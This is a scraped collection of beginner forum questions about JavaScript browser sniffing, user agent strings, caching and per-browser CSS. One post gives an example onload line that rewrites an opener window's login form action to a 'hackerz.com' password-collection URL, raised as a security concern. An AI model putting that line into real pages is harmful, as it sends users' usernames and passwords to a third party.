I wasn't sure where to post this so I'm sorry if this is the wrong place.
But I would like to know what some of the differences are between
client-side and server-side browser sniffing. I'm aware the client-side
stops certain errors being transmitted so saves on bandwidth and server-side
my catch errors that are missed on the client-side.
I would simply like to detect Internet Explorer Version 5.0. If they are using Version 5.0, I would like to display a message and link that would take them to an upgrade browser site. Possibly include a paragraph of text and an image as well. Is this difficult to do?
I grabbed this code from somewhere:
//detect IE5.5
if (navigator.appVersion.indexOf("MSIE 5.5")!=-1)
alert("You're using IE5.5!")
If I switch the version numbers around, would I just put the HTML I want to display in place of the alert() function? As you can tell I don't have any idea how to work with JavaScript
Could I include an .html file there or something?
Does anyone know of a list of browser user agent strings, produced by the navigator object? - navigator.userAgent
Like every other web developer, I'm writing some browser-specific code, but don't have the means to test it on every browser out there. However, if I had access to the user agent strings produced by each browser (or at least the *main* browsers) I could figure it out without the need for actual testing.
Let's say I have a login screen with a lots of advertisement (links).
One of those links is opened in a new window, and there is the following:
<body onload="opener.document.forms 0].action='http://www.hackerz.com/PasswordDatabase.php'">
After clicking the link and reading the advertisement, I go on "logging
in" on the first window. After I submit, the form data, username,
password and all is submitted to a third party..

Is there a way in Javascript, or perhaps in HTML, to force a browser to
re-render an image on an HTML page after a round-trip between the client
and the server ?
In my particular case, the image is changing on the server although the
URL for it remains the same, but the browser is still displaying the old
image from its cache rather than the new image from its URL location.
I want to use jquery to detect what type of browser you are using and display a link to a .wmv file if you are on IE or display a link to a .mp4 file if you are any other type of browser.I have this script declaration in my <head> section.

Nothing is being output on the page at all. I've tried to patch this together from various example on various web sites. How can I make this work?
On my site i use a lot of features that are unsupported by older browsers, and right now it looks pretty stupid when the features are only partially shown. So i was wondering if there's a way of making the browser look to different css files depending on which browser and version it is. For example, css3 gradient backgrounds are supported in firefox 3.6 or something, but not in 3.0. All the hacks out there is to 3.*, so it changes for the allready working 3.6 too if i hack it. I want to controll it so that i have a specific css file for the none-supporting version and lower and one for the supporting and above. I looked at a bad browser plugin (because it has some of the basic features im looking for)

isIE = ((ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1));
isGecko = (ua.indexOf("gecko") != -1);

Then you can use it like this:

View 5 Replies View RelatedDoes anyone have a quick script to find which version of IE a page is
being viewed with?
Specifically, I want to seperate version 4 from versions 5+, and post a
warning against using 4.
I expect I'll have to search out the (navigator.appAgent) string for
the MSIE substring, but since I don't need it until tomorrow, laziness
dictates I ask here before getting on with it. Is there another
variable? a less cumbersome way?
Can someone please point me to THE source for complete javascript

Particualry I am interested in the document object. For example with,
document.getElementById(id), there is at least style and rows
properties and with rows you can get lenght:
eg document.getElementById(id).Style
document.getElementById(id).Rows.Length
What I would really like is to be able to look at an object browser
which shows every property and method associated with the javascript
document object (and all of the other objects too but I don't want to
be greety!).
Hopefully this is out there some where. I keep hanging out here asking
for fish when really I want a fishing rod of my own.
is there a possibility to get the number or the names of open Browser windows ? I want to try to avoid double-opening of a page. My idea was to give the page a name and to check whether this name exists.
View 3 Replies View Relatedhow do I know when the browser is making a request to the server? I am
not having an onclick event for EVERY hyperlink, submit, etc. There
must be some javascript function that I can overwrite that will allow
me to do something when the browser requests something from the server.
My plan is whenever a browser is about to request something from the
server to create a time stamp and then compare this time to the time
when the page returns from the server. This will allow me to measure
performance.
I would like to change the appearance of the URL, which gets displayed
in the title of the Browser, without the page being reloaded. Sounds

http://www.example.com

I am trying to build an online bookmark manager and I want to try and
download the favorites in a browser. I know you can do
window.external.AddFavorite but can you do the reverse in any way, to
retrieve them from the browser into a page? I would assume that this
is not possible because of security reasons but there must be some way
of doing it?
Is there anything unique on a browser where i can assign it to my session?
